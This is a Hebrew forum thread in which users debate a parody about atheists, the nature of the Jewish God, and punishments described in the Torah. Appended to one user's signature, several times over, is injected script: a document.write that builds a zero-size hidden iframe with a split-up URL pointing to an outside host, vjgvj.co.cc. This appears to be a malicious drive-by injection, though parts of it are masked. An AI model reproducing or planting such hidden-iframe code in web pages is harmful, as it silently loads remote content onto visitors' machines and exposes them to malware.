בית פורומים עצור כאן חושבים

דרשנים, היזהרו בדרשותיכם

שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד הוסף לדף האישי  דווח למנהל שלח לחבר
נשלח ב-25/10/2016 13:48 לינק ישיר 

אפרים, וברצינות רגע, אני משער שבסיס הטענה שהוא (משה רט) שגם המאמין וגם האתאיסט הם תגובה אקטיבית לשאלת הבריאה ההכרחית, אצל המאמין האמונה עצמה הוא הסבר לבריאה, והאתאיסט משתמש בטיעונים שונים להסביר את הבריאה, בין היתר בלהסביר למה האמונה איננה הסבר מספק.
כמובן שאפשר לטעון לעומתו שאפשר להיות אתאיסט מבלי להרגיש צורך בלהסביר דברים שהמאמין מתיימר להסביר, אך כמדומני שזה טיעון תיאורתי, עובדתית, הלא מאמינים בדרך כלל כן מתעסקים בכך, ועל זה הפוסק שלו בא לצחוק.



דדווח על תוכן פוגעני

מחובר
נשלח ב-25/10/2016 15:56 לינק ישיר 

אפרים

גם אני הייתי נותן בשמחה אייקון ירוק (לייק) למשה ראט על הפרודיה המוצלחת.

אמנם יתכן ששנינו קוראים אותה אחרת. או שאנו מסתכלים על דברים שונים.

האם הבנת שהוא רוצה לטעון שאין אתאיסטים? שאי אפשר להאמין למי שטוען שהוא אתאיסט? זו טענה מעניינת ועד כמה שזה נשמע מוזר, אפשר להצדיק אותה. רבים הטוענים שאינם מאמינים במאומה מוצאים את עצמם מתפללים, מקבלים על עצמם קבלות, וקוראים לעזרה משמים כאשר באות עליהם צרות. האם זה אומר שהם נאחזים בקנה רצוץ או שהם מוצאים בעצמם או נותנים פתח למה שנמצא בהם מקודם? כלומר, קשר לאלוקות? (שלייכרמאכר, פילוסוף גרמני, טען שהתלות היא מקור הרגש הדתי והדת).

אבל לא הייתי מרחיק לכת עד כדי כך, למרות שזו בדיקה מעניינת. נראה לי שראט מנסה להתקלס במבקרי המקרא ובכל מי ששולל דיווחים מן העבר על ניסים. כמובן, זו כבר טעות. איזה סוג של טעות? אולי טעות מתודולוגית. הסיבה פשוטה. הטענה למשל שהיה נס (התגלות בסיני, קריעת ים סוף, אש יורדת מן השמים במעשה אליהו בכרמל ועוד), זו טענה היסטורית. ההוכחה לה היא מתוך בדיקה היסטורית (שאינה בידנו, לפחות באופן ישיר ולפחות לגבי מעשה אליהו). מה שאפשר לעשות הוא לטעון שיש לנו מסורת ארוכה, איש מפי איש, על האירועים האלו. אבל, שוב, זו הוכחה שלקוחה ממדע ההיסטוריה, הלא כן? לעומת זאת, הטענה שיש להאמין למחבר ספר "מלכים" המביא את סיפורו של אליהו - איני יודע לאן לשייך אותה מבחינה מתודולוגית (שיטתית). כנראה שוב לשאלה של חוקר היסטוריה עד כמה ומפני מה יש להאמין או לפקפק בדיווח שאמור להיות היסטורי.

אולי סטיתי? בכל אופן, הטענה "אני אתאיסט" שאמורה להיות שקולה ל"איני מאמין באלוקים" או "אני כופר במציאותו של אלוקים" - זו טענה שאדם אומר על עצמו. יתכן כמובן לחשוד באדם שהוא אומר דברים בלי להתכוון להם. או שהוא טועה בהכרת עצמיותו. אבל זו בהחלט לא טענה נגדית מהסוג של השאלות העולות במחקר היסטורי.

אשר על כן קשה להאמין שראט, שהינו בעל ידע פילוסופי (אולי גם פילוסוף, איני מכיר מספיק) ובעל חוש הומור וכשרון ספרותי ידוע, נכשל בטעות לוגית כזו. יש לומר שהוא התכוון: א. לשעשע את קוראיו. ב. להטיל תחושה של ספק (להבדיל מספק מדעי או לוגי) בביקורות נגד המסורות ההיסטוריות של דת ונס.

אפשר לערער על הצלחתו בתחום השני, לפחות אם רצה להציג טיעון תקף (שבו המסקנה נובעת מן ההנחות, כלומר טיעון שינסה להקיש מן הלעג למי שמסרב להאמין לכופר אל הכופר עצמו). אמנם יתכן שהוא הצליח לערער את הודאות של הקורא הכופר.

אם המטרה שלו לשעשע, בוודאי שהוא הצליח. לפחות ביחס אלי. האם אתה לא השתעשעת וצחקת?

למעשה, לפי מה שקראתי עד היום משלו (לא הרבה ותמיד יש טעם של עוד) היה ראוי להקדיש לו אשכול משלו... אולי עדיין אפשר לעשות זאת לפני שאנו גולשים לדיון ארוך ארוך...

_____תוקנה טעות הקלדה בת אות אחת שעושה הבדל עצום. לא "הצליח פחות ביחס אלי" כלומר לשעשעני אלא "לפחות ביחס אלי"...____________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");



תוקן על ידי מיימוני ב- 25/10/2016 15:56:44




דדווח על תוכן פוגעני

מנותק
נשלח ב-25/10/2016 16:38 לינק ישיר 

הפוסט שלו מנסה לעשות צחוק מאתאיסטים באשר הם.

הצורה שהוא עשה את זה היא על ידי דו שיח בין אדם דתי (שראט קורא לו א אתאיסט כלומר דתי ) שמפגיז את הדתי בטענות שונות  האתאיסט לא יודע מה לענות לו ויוצא טמבל ואז משתולל.

ואני הוכחתי לו שגם בכיוון ההפוך זה עובד. אני הצגתי את הטענות שלו בכיוון הפוך .הראיתי שבכיוון ההפוך הדתי יוצא טמבל ואז משתולל.


 הפוסט שלו משעשע רק את מי שלא הבין את המסר..


לכשאפנה אתייחס שורה אחרי שורה לתגובתך מיימוני. וגם לשאר המגיבים אשתדל לענות.



דדווח על תוכן פוגעני

מחובר
נשלח ב-25/10/2016 19:04 לינק ישיר 

אפרים

איני סבור שמשה ראט הוא נאיבי כדי לחשוב שאי אפשר להפוך את הויכוח שלו על פניו. לכן איני סבור שהוא מבקש ללעוג לאתאיסט אלא ללעוג לגישה המתיימרת לדעת יותר טוב מן הצד השני בויכוח מה הוא חושב ומה הוא מאמין. ובזה יש לבקר לא את הדתיים או התאיסטים מול האתאיסטים אלא את המתיימרים והשטחיים מול המשתדלים באמת להקשיב ולהבין, גם אם לא בהכרח להסכים.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-25/10/2016 19:51 לינק ישיר 

מימוני,אתה טועה. תקרא שוב.
משה ראט  לא חשב אפילו שאפשר להפוך את המסר מפני שהוא בטוח שהוא,הדתי  צודק והאתאיסט הוא סתם מצחיק.

אם לא קראת פוסטים קודמים שלו אז כנראה אינך יודע עד כמה הוא לועג לאתאיסטים . הטענות שלו  תמיד לא מבוססות .הפעם הוא חשב שבעזרת דו שיח כזה הוא יצליח בצורה מתוחכמת לערער לגמרי את טענות האתאיסט..

הוא לא תאר לעצמו  שאפשר להציג את זה גם מהצד השני .כי הוא חושב שכל מי שמקיים מצוות זאת הוכחה שהוא דתי. אבל מכיוון  שלאתאיסט אין מצוות אז בגלל זה אין לו שום הוכחה שהוא אתאיסט.
הוכחתי לו שגם בכיוון ההפוך זה עובד כך שכל טענותיו המגוחכות נפלו.

כנראה שכל אלה שנתנו לו לייק לא הבינו בכלל את מטרתו בשיח הזה.


ובכלל כל הרעיון שאומר שאין אתאיסטים הוא מופרך. 
האתאיסטים טוענים שבעבר  הרחוק האדם המציא אלים שונים ומשונים בגלל שהאמין שכוחות הטבע הם אלה שגורמים ברכה או קללה.(גשם מביא אוכל אם מביאים מנחה לאל הגשם וברקים שורפים אם לא נותנים להם מנחה וכו' וכו')
אברהם אבינו אמנם ניתץ את הפסלים ויסד דת חדשה שהתפצלה לשלושת הדתות הגדולות אבל עדיין העיקרון של הדתות הגדולות דומה מאד למה שהיה בעבר. הרחוק. הדמיון הוא בנקודה של הכוח .כלומר  שיש כוח אחר,חזק ונעלה יותר מהכוחות של בני האדם וצריך כל הזמן לפייסו אחרת הוא יכעס ויעניש.
האתאיסטים לא מקבלים את הרעיון הזה. מה כל כך מסובך בזה?



לאמר,מה שייך עניין הבריאה לכאן? האתאיסט יודע שהמדע האנושי הוא רק בתחילתו . בינתיים אין תשובות לכל השאלות. אבל אם אין תשובה בינתיים זה מגוחך להמציא תשובה שלדעתו היא לא הגיונית.



דדווח על תוכן פוגעני

מחובר
נשלח ב-25/10/2016 20:15 לינק ישיר 

אפרים

בדבריך האחרונים יש כמה נושאים. אתייחס אליהם בנפרד ובממוספר.

1. מה מטרתו של משה ראט? באיזו מידה ניתן לשפוט עליה לפי פירסומים קודמים שלו? בזה אני מקבל את דבריך למרות התמיהה הגדולה שאתה שותף לה. אם הוא כשל לוגית אז הוא כשל לוגית. וזה חבל, כי הפוסט שלו היה משעשע ורויתי ממנו יותר נחת כאשר חשבתי שהוא מודע להנחות היסוד שלו. אם טעיתי אז תודה על התיקון. (עדיין קשה לי להאמין שיש שיטעה בכך ובמיוחד מי שיצא לו שם טוב כהנ"ל).

2. איזו אמונה שולל האתאיסט? אדון לקמן.

3. בדבריך יש תיאוריה  של התפתחות הדתות. יש לכך הצדקה ויש תומכים בתיאוריה כזו. אמנם דומה שהדת היהודית, כפי שהיא מובנת לנו היום וכפי שהוצגה בעבר (בנוסח של קויפמן, נניח) אינה מבוססת על הפחד של האדם מן העתיד או מבעלי עוצמה (כפי שקדם וטען שפינוזה) אלא מתוך הכרה בכך שיש אלוקים שברא את העולם ואינו כפוף למאומה חוץ מאותם כללי מוסר וצדק שהוא עצמו מכיר בהם (ואולי יש לומר שיצר אותם).

2 שאני יכול לכתוב עכשו לאחר סעיף 3. לפי זה, גם אני כופר בדיוק כמו האתאיסט שלך, כי גם אני איני מאמין באותו אלוהים מפחיד שלך...

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-25/10/2016 20:16 לינק ישיר 

ואולי אוסיף סיפור משעשע שקיבלתי פעם מאחד מחברי הפורום הותיקים:

מעשה בסמינר (ערכים?) שבו אחד המשתתפים ניגש אל אחד המרצים ותלונות בפיו. איך אתם היהודים מאמינים באלוקים שהוא כך וכך וכך (איני יודע בדיוק מה היו הטענות אבל הבה נניח מעין אלו שהובעו כאן וחמורות מהן).

המרצה הקשיב לו בסבלנות ואז אמר לו:

זה בסדר, באלוהים הזה שלך גם אני לא מאמין...

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-25/10/2016 20:51 לינק ישיר 

מיימוני כתב:
אפרים

בדבריך האחרונים יש כמה נושאים. אתייחס אליהם בנפרד ובממוספר.

1. מה מטרתו של משה ראט? באיזו מידה ניתן לשפוט עליה לפי פירסומים קודמים שלו? בזה אני מקבל את דבריך למרות התמיהה הגדולה שאתה שותף לה. אם הוא כשל לוגית אז הוא כשל לוגית. וזה חבל, כי הפוסט שלו היה משעשע ורויתי ממנו יותר נחת כאשר חשבתי שהוא מודע להנחות היסוד שלו. אם טעיתי אז תודה על התיקון. (עדיין קשה לי להאמין שיש שיטעה בכך ובמיוחד מי שיצא לו שם טוב כהנ"ל).

שם טוב? כבר הבאתי בעבר בכל מיני הזדמנויות את הכשלים הרבים באופן החשיבה שלו.

2. איזו אמונה שולל האתאיסט? אדון לקמן.

3. בדבריך יש תיאוריה  של התפתחות הדתות. יש לכך הצדקה ויש תומכים בתיאוריה כזו. אמנם דומה שהדת היהודית, כפי שהיא מובנת לנו היום וכפי שהוצגה בעבר (בנוסח של קויפמן, נניח) אינה מבוססת על הפחד של האדם מן העתיד או מבעלי עוצמה (כפי שקדם וטען שפינוזה) אלא מתוך הכרה בכך שיש אלוקים שברא את העולם ואינו כפוף למאומה חוץ מאותם כללי מוסר וצדק שהוא עצמו מכיר בהם (ואולי יש לומר שיצר אותם).

2 שאני יכול לכתוב עכשו לאחר סעיף 3. לפי זה, גם אני כופר בדיוק כמו האתאיסט שלך, כי גם אני איני מאמין באותו אלוהים מפחיד שלך...

והיה אם שמוע? אם בחוקותי תלכו? הר גריזים והר עיבל? על מה אתה מדבר? 

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");




דדווח על תוכן פוגעני

מחובר
נשלח ב-25/10/2016 20:59 לינק ישיר 

ההפחדה היא רק להמון.



דדווח על תוכן פוגעני

מחובר
נשלח ב-25/10/2016 21:17 לינק ישיר 

מקור? לא ראיתי את זה בתורה.



דדווח על תוכן פוגעני

מחובר
נשלח ב-26/10/2016 07:34 לינק ישיר 

אפרים

אתה צודק. יש בתורה גם אמירות מאיימות.

ויש בהן אמירות מפחידות מאד, כמו על אכילת ילדים מרוב רעב.

אבל על מה יבואו כל העונשים האלו? על עבירות, ולא על עבירות שלא האכילו ולא השקו את האליל במזונו. לא על העדר הקרבת ילדים אלא, אם כבר, על פולחני עבודה זרה כולל הקרבת ילדים למולך.

האלוקים היהודי, שלנו, אוהב חסד ואמת.

שלא לומר שיש גם אמירות שמשקפות גישה יותר מרוממת.

וַיֹּאמֶר שְׁמוּאֵל הַחֵפֶץ לַידֹוָד בְּעֹלוֹת וּזְבָחִים כִּשְׁמֹעַ בְּקוֹל יְדֹוָד הִנֵּה שְׁמֹעַ מִזֶּבַח טוֹב לְהַקְשִׁיב מֵחֵלֶב אֵילִים:

(שמואל א פרק טו פסוק כב)

(שמת לב שעברנו לנושא חדש באשכול?)

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-26/10/2016 09:55 לינק ישיר 

מיימוני כתב:


האלוקים היהודי, שלנו, אוהב חסד ואמת.



יהודי? שלנו?
מחילה. אין לך מושג.



דדווח על תוכן פוגעני

מנותק
נשלח ב-26/10/2016 10:30 לינק ישיר 

מיימוני,לא החלפנו נושא. 
הנושא היה עמדת האתאיסטים שפרטתי אותה בתגובתי למעלה.
אתה מנסה להתעלם ולטעון שהר גריזים והר עיבל לא היו ופרשת בחוקותי לא קיימת.אתה מתחמק על ידי הבאת פסוק מספר שמואל.
האם רק החטא  של הקרבת ילדים למולך קיים? ומהו עונשו של המקושש עצים ביום השבת?
כמו שכתב שלישי אשאל אותך בשינוי קל :יהודי?שלנו? 
מחילה.אתה מתעלם.




דדווח על תוכן פוגעני

מחובר
נשלח ב-26/10/2016 11:43 לינק ישיר 

אפרים

לא הצלחתי להבהיר את עצמי. אנסה שוב.

יש שלושה סוגים של אמונות באלים (איני יודע באיזה מונח להשתמש ומתלבט בין שמות קודש לחול).

א. האליל האכזר שתובע קרבנות אדם ואין לו ערכים, בלשון המעטה. לא זה האלוהים היהודי. עליו כתבתי בשם מרצה אלמוני מ"ערכים" שיהודים לא אמורים להאמין בו.

ב. אלוהי החסד ואהבה שאינו מעניש לעולם. זה האלוקים שהייתי רוצה שיהיה. אבל כבר אמרו במדרש כי הקב"ה ראה שאין העולם לא במידת הדין (אם מענישים מייד כל אחד באופן הכי קיצוני) ולא במידת החסד והרחמים (אם מוותרים כל העת לפושעים ולרוצחים, והיום דומה שרואים זאת במקומות מסויימים בעולם, אבל אני כבר רומז יותר מדי לפוליטיקה עכשוית ואיני רוצה את הנושא הזה כלל).

ג. אלוקים שמעניש על עבירה מוגדרת (אם כי צריך ללמוד מדוע יהיה עונש מוות על עבירה שבעינינו הליברליות לא צריכה כזה עונש חמור).

דומה שהאלוקים היהודי הוא זה שמאופיין בסעיף ג'.

את האמירות על עונשי זוועה קשים הסברתי כאיומים הדרושים לחברה נחותה מבחינה תרבותית. לא כל העולם ראויים ומסוגלים, לצערי, לבוא בשערי עצור כאן חושבים.

האלוקים שאני מאמין בו מומשג בצורה הראויה ביותר בדברי שמואל שציטטתי ובדברי אבינו אברהם כי "שופט כל הארץ יעשה משפט" (הוא כתב בשאלה בגלל פרשת סדום ואני כותב בהסכמה כי כך הוא וכך היה).

דומה שהשאלה הנשאלת, לפי אפרים בן, היא כיצד אלוקים שיכול להיתפס כמוסרי מרשה לעצמו לאיים בעונש מוות על חילול שבת.

וזו שאלה ראויה.

אבל שוב אני תוהה אם האשכול שלנו לא פנה לדרך אחרת, אולי חשובה עוד יותר. אפרים יקירי, התוכל לפתוח אשכול נוסף על דמותו של האלוקים היהודי?

***

שלישישי

לא הבנתי את דבריך. במה אין לי מושג? בדמותו של האלוקים? או בקביעה היומרנית שלי שהוא "שלנו"?

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-26/10/2016 12:37 לינק ישיר 

מיימוני כתב:


 
שלישישי

לא הבנתי את דבריך. במה אין לי מושג? בדמותו של האלוקים? או בקביעה היומרנית שלי שהוא "שלנו"?


< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");



גם וגם וגם.
העניין פשוט מאד. כשאתה מגדיר משהו אתה צריך להראות שאתה אכן מכיר ויודע את מה שאתה מגדיר.
אם היו מבקשים ממך להגדיר מהו זהב, אני מניח שכמה מיליארדי אנשים היו מקבלים את הגדרתך כנכונה.
כמה אנשים אתה חושב היו מקבלים כנכון את מה שכתבת לגבי א'?
(א'  נחשב קצת יותר מזהב)
אם אתה לא יודע לענות על השאלה: מה אני יודע על א' ומדוע זה נכון?.
אין שום סיבה לקבל את הגדרתך לגבי א' כנכונה.
ועוד, כשאתה מגדיר את א', מה שאתה עושה זה "נעשה א' בצלמנו כדמותנו"
ואז מיהו א'?



דדווח על תוכן פוגעני

מנותק
   
בית > פורומים > דת ואמונה > עצור כאן חושבים > דרשנים, היזהרו בדרשותיכם
מנהל לחץ כאן לנעילת האשכול
הוסף לעמוד האישי  דווח למנהל שלח לחבר
לדף הקודם 1 2 3 ... 9 10 11 לדף הבא סך הכל 11 דפים.